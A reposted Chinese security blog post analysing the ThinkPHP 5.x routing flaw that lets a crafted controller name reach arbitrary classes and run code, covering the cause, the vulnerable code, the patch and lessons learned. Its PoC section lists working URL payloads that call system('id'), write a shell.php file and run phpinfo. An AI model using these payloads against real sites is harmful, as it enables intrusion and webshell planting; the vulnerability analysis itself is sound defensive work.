内容简介:平时经常还是会写文章,不过越来越不愿意发博客了,写的也越来越随性,最近记流水账的几篇文章找出来一块发了。ThinkPHP是一套国内流行的开源PHP MVC开发框架,其中存在3.x和5.x两个版本,目前3.x已停止维护,5.x为15年正式推出的,基本上对3.x进行了重构,针对于路由,也舍弃了默认的方式,正是因为新的路由存在缺陷,导致任意函数的调用。
平时经常还是会写文章,不过越来越不愿意发博客了,写的也越来越随性,最近记流水账的几篇文章找出来一块发了。
0x00 介绍
ThinkPHP是一套国内流行的开源PHP MVC开发框架,其中存在3.x和5.x两个版本,目前3.x已停止维护,5.x为15年正式推出的,基本上对3.x进行了重构,针对于路由,也舍弃了默认的方式,正是因为新的路由存在缺陷,导致任意函数的调用。
0x01 知识背景
路由解析
?s=index/index/hello
tp5中路由舍弃了3.x中的 ?m=index&c=Index&a=hello
方式,而使用一个参数 s
传递所有信息, s=/index/Index/hello
中三部分分别代表 module
, controller
, action
。此次出现问题的部分便是 controller
,由于 ThinkPHP
中命名空间和自动加载的作用,每个类都可被访问到,即导致每个类都可被当做 controller
。
参数处理
<?php namespace app\index\controller; class Test { public function index($name){ return 'Hello '+$name; } }
?s=index/test/index&name=world
参数会自动处理,当然也可为数组,比如
?s=index/test/index&name[0]=world&&name[1]=xx
0x02 漏洞分析
在5.1.x中函数名为 parseModuleAndClass
,功能一样
parseClass()
函数:
正常情况下会对 name
进行处理,限制在 app\index\controller
命名空间。
这里的 name
即为 controller
,前置处理为获取到 module
, controller
, action
,将 controller
传入该函数处理。
当 name
中存在 \\
时,直接将 name
赋值到 class
,不再进行 parseClass
操作,配合自动加载的机制从而导致可为任意命名空间下的类作为 controller
,任意 public
都可被用户访问到,结合 ThinkPHP5
内置的一些类和方法便可造成远程命令执行。
0x03 POC
thinkphp/library/think/App.php 304-320行
/** * 执行函数或者闭包方法 支持参数调用 * @access public * @param string|array|\Closure $function 函数或者闭包 * @param array $vars 变量 * @return mixed */ public static function invokeFunction($function, $vars = []) { $reflect = new \ReflectionFunction($function); $args = self::bindParams($reflect, $vars); // 记录执行信息 self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info'); return $reflect->invokeArgs($args); }
?s=index/thinkapp/invokefunction/function/call_user_func_array&vars[0]=system&vars[1][]=id
ReflectionFunction
为 PHP 中的反射类,反射调用 call_user_func_array
, call_user_func_array
为回调函数,回调 system
,参数为 id
已知POC(来自t00ls):
1、?s=index/\think\Request/input&filter=phpinfo&data=1 2、?s=index/\think\Request/input&filter=system&data=id 3、?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E 4、?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E 5、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 6、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id 7、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 8、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
0x04 漏洞补丁
该补丁为 5.0.x
补丁, 5.1.x
位置不一样,方式一样。
补丁方式为限制 controller
只能为字母和数字。并且放在 controller
处理之前。
0x04 总结
简单来说这个洞是由于用户控制了 controller
导致的,开发者将处理 controller
的代码封装到了 Loader.php
,并且与其他功能进行代码复用,为了满足其他功能增加的功能(即特殊处理存在 \\
的参数),从而导致了漏洞。 代码复用是开发者优质的习惯,但也需要严格审核是否因为书写复用代码时是否会造成漏洞。
另外,可以看到这是一个非常浅显的洞,至今没有人发现,最终由官方爆出,也许很多用户默认此开源框架“流行 == 安全”,其实很多应用并不是想象中的完全安全,漏洞经常发生在被人忽视的地方。
著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:p0
链接:https://p0sec.net/index.php/archives/125/
来源:https://p0sec.net/
以上所述就是小编给大家介绍的《ThinkPHP5.x 路由缺陷导致远程代码执行》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 大多数路由器都存在固件缺陷使用户面临风险
- 从0到1创建高效的产品缺陷管理流程(1):缺陷是什么? 如何建立缺陷管理流程?
- 为什么说缺陷去除效率比测试缺陷率更适合软件质量度量?
- 缺陷数据就是个宝藏
- 修复缺陷的正确姿势
- 网站用户宝典:25个缺陷跟踪工具
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Paradigms of Artificial Intelligence Programming
Peter Norvig / Morgan Kaufmann / 1991-10-01 / USD 77.95
Paradigms of AI Programming is the first text to teach advanced Common Lisp techniques in the context of building major AI systems. By reconstructing authentic, complex AI programs using state-of-the-......一起来看看 《Paradigms of Artificial Intelligence Programming》 这本书的介绍吧!